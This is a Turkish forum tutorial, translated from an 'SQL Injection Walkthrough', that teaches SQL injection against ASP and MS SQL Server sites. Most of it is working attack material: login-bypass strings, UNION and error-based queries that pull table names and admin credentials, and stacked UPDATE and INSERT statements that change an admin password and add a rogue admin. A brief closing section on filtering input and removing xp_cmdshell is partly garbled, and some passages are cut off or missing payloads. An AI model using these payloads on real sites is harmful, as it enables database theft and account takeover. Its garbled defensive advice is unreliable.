SQL İnjectıon Temel Saldırı Ve Savunma - Turkhackteam.org/net - Cyber Security Platform
SQL İnjectıon Temel Saldırı Ve Savunma
Bu yazı SQL Injection tekniklerini öğrenip sitelere zarar vermek isteyenlerden çok, işin temelini anlayıp gerekli önlemleri almak isteyen sunucu yöneticileri, programcılar için yazılmış SQL Injection Walkthrough yazısının bir çevirisi niteliğindedir. 2 bölümden oluşan yazının ilk bölümünde SQL Injection'a giriş ve temel saldırı tekniklerini inceliyoruz.1 Giriş
Bir sunucunun yalnızca 80 numaralı portu açıksa, port tarayıcılarının bir açık yakalayamayacağını ve admin'in gerekli patch'leri yaptığını bilirsiniz. Bu durumda geriye web hacking methodları kalır. SQL injection yalnızca 80. porta ihtiyaç duyan, sunucuya veya sunucunun işletim sistemine değil de üzerinde çalışan uygulamalara (ASP, JSP, PHP, CGI gibi) saldıran bir tekniktir.
1.2 SQL Injection Nedir?
SQL Injection, web sayfalarını kullanarak SQL sorgusu ve komutu gönderme tekniğidir. Birçok site kullanıcıdan aldığı parametrelerle veritabanına sorgular göndermektedir. Örnek olarak kullanıcı girişi sayfasını düşünün, girilen ad ve şifre yardımıyla bu kişinin kayıtlı bir kullanıcı olup olmadığı veritabanına sorulur. SQL Injection ile SQL sorgusunu değiştireceğimiz ve istediğimiz bilgilere ulaşabileceğimiz sonuçlar elde edebiliriz.
Sadece internet tarayıcısı.
2 Neleri Aramalısınız?
Kullanıcının bilgi gönderebileceği sayfaları bulmalısınız; mesela kullanıcı girişi, arama sayfası, yorum sayfası gibi. Genelde html sayfaları kullanıcı girdilerini gönderirken POST methodunu kullanırlar, böylece sayfanın adresinde parametreleri göremezsiniz. Bu durumda sayfanın kaynak kodunu inceleyerek hangi parametreleri gönderdiğini bulabilirsiniz. Arayacağınız html etiketi form olmalı, örnek olarak:
< form method="post" action="Search/search.asp">
< input type="hidden" name="A" value="C" />
form etiketleri arasındaki herşey potansiyel parametrelerdir.
2.1 Ya input alan bir sayfa bulamazsam?!
Sitede ASP, JSP, CGI veya PHP gibi sayfalar aramalısınız. Özellikle aşağıdaki gibi parametre alan sayfalara dikkat edin:
3 Bu sayfa uygun mu, nasıl test ederim?
Tek tırnak hilesiyle başlayabilirsiniz. Bunun için input alanına hey' or 1=1 girin. Örnek:
Kullanıcı adı: hey' or 1=1
Şifre: hey' or 1=1
http://www.example.com/index.php?id=hey' or 1=1
Eğer bu işlemi hidden bir input alanıyla yapmanız gerekiyorsa sayfanın kaynak kodunu bilgisayarınıza kaydedip form alanını aşağıdaki şekilde düzenleyin.
< form action="http://www.example.com/Search/search.asp" method="post">
< input type="hidden" name="A" value="hey' or 1=1">
3.1 Ama neden  or 1=1?
Bu hileyi siteye giriş yapmanın yanında ekstra bilgilere ulaşmak için kullanabilirsiniz. Örnek olarak aşağıdaki ASP sayfasını ele alalım:
URL'de category değişkenin adı, ve food ise bu değişkene atanan değerdir. Food kategorisindeki bilgileri listelemek için kullanılacak kod aşağıdaki gibidir:
v_cat = request("category")
sqlstr = "SELECT * FROM product WHERE PCategory='" & v_cat & ""
set rs = conn.execute(sqlstr)
Gördüğünüz gibi gönderdiğimiz bilgi v_cat değişkenine atandı, daha sonra bu değişkenle bir SQL sorgusu oluşturuldu.
SELECT * FROM product WHERE PCatego
SQL Injection Walkthrough çevirisinin 2. bölümünde MS SQL Server üzerinde SQL injection yöntemlerini ve saldırılara karşı korunma yollarını inceliyoruz.
6 ODBC hata mesajıyla veritabanındaki tablo adlarını almak
MS SQL Server tarafından oluşturulan ODBC hata mesajlarını kullanarak neredeyse her türlü bilgiye ulaşmanız mümkün. Örnek olarak şöyle bir sayfa kullanıldığını düşünün:
Adresteki 10 sayısının yanına, veritabanına ulaşabileceğimiz birkaç sorgu ekleyelim:
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
INFORMATION_SCHEMA.TABLES sunucuda kayıtlı tüm tabloların listesini tutan bir sistem tablosudur. TABLE_NAME ise bu sistem tablosundaki bir değişkendir. "SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES" sorgusu bize veritabanındaki ilk tablonun adını dönecek. Tablonun adını 10 sayısıyla birleştirmeye -UNION- çalışınca ise şöyle bir hata mesajıyla karşılaşacağız, ki bu bize istediğimiz bilgiyi veriyor olacak:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value table1 to a column of data type int.
Bu hata mesajı bize saf saf ilk tablonun table1 olduğunu söyledi. Sonraki tablonun adını almak için (1), veya içerisinde login geçen bir tabloyu bulmak için (2) şunları deneyebilirsiniz:
(1) http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1′)
(2) http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE %login%
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value admin_login to a column of data type int.
6.1 Tablonun değişkenlerine ulaşmak
Bunun için bir başka kullanışlı sistem tablosu olan INFORMATION_SCHEMA.COLUMNS tablosunu kullanacağız.
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value login_id to a column of data type int.
Sonraki değişken için:
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login WHERE COLUMN_NAME NOT IN ('login_id')
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value login_name to a column of data type int.
Düşünün ki yukarıdaki durumu tekrarlayıp diğer değişkenleri de password ve details olarak bulduk. Tüm değişkenleri elde ettiğimizde sorgumuza şöyle bir cevap alırız:
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login WHERE COLUMN_NAME NOT IN ('login_id','login_name','password','details') 
Microsoft OLE DB Provider for ODBC Drivers error 80040e14′
6.2 Tablo adını ve değişkenlerini öğrendikten sonra istediğiniz bilgiye ulaşmak için
admin_login tablosunu ve değişkenlerini öğrendik. Şimdi sıra kullanıcı adlarını ve şifreleri öğrenmeye geldi.
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value neo to a column of data type int.
Görüyoruz ki tabloda neo isimli bir admin kayıtlı. Son olarak şifresini istiyoruz:
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value m4trix to a column of data type int.
6.3 Nümerik bir bilgiye nasıl ulaşırım?
Dikkat ettiyseniz yukarıda bir string'i bir integer'la UNION ederek hata mesajları çıkarmaya çalıştık. Ya istediğimiz bilgi bir sayıysa? Düşünün ki tablomuzda trinity kullanıcısının şifresi 31173. Bu durumda aşağıdaki sorgu sorunsuz bir UNION operasyonu yapacak, yani işimize yarayacak bir ODBC hatası yollamayacaktır.
http://www.example.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity
Yukarıda + işaretiyle (%2b) şifremizi "morpheus" string'iyle birleştirip integer'a çevirmeye çalışıyoruz. Bu mantıklı(!) işlemin sonucunda da istediğimiz sonucu alıyoruz:
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 31173 morpheus to a column of data type int.
7 Veritabanını güncellemek, veri eklemek
Tablo isimlerini ve değişkenlerini öğrendikten sonra tabloları güncellemek, yeni veriler eklemek de tabii ki mümkün. Örnek olarak yöneticimiz neonun şifresini değiştirip, sisteme yeni bir admin ekleyelim:
http://www.example.com/index.asp?id=10; UPDATE admin_login SET password = newpas5 WHERE login_name='neo
http://www.example.com/index.asp?id=10; INSERT INTO admin_login ('login_id', login_name', password', details') VALUES (666,'neo2,'newpas5,'NA')
8 SQL Injection'dan Korunma Yolları
Bunun için aslında çok basit bir yol var:
Kullanıcıdan aldığınız input'larda,
Cookie'lerdeki değerlerde bulunan
tek tırnak (), çift tırnak ("), taksim (/), bölü (\\), noktalı virgül (FPRIVATE "TYPE='yasaklı kelime''yasaklı kelime''yasaklı kelime'T;ALT=wink.gif"
boş karakter (NULL), carriage return (CG), yeni satır (NL), vb. karakterleri filtreleyin.
Sayılar için SQL sorgusuna eklemeden önce integer'a çevirin. Veya ISNUMERIC fonksiyonunu kullanarak gerçekten integer olup olmadığını kontrol edin.
Kullanmadığınız stored procedure'leri kaldırın: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask,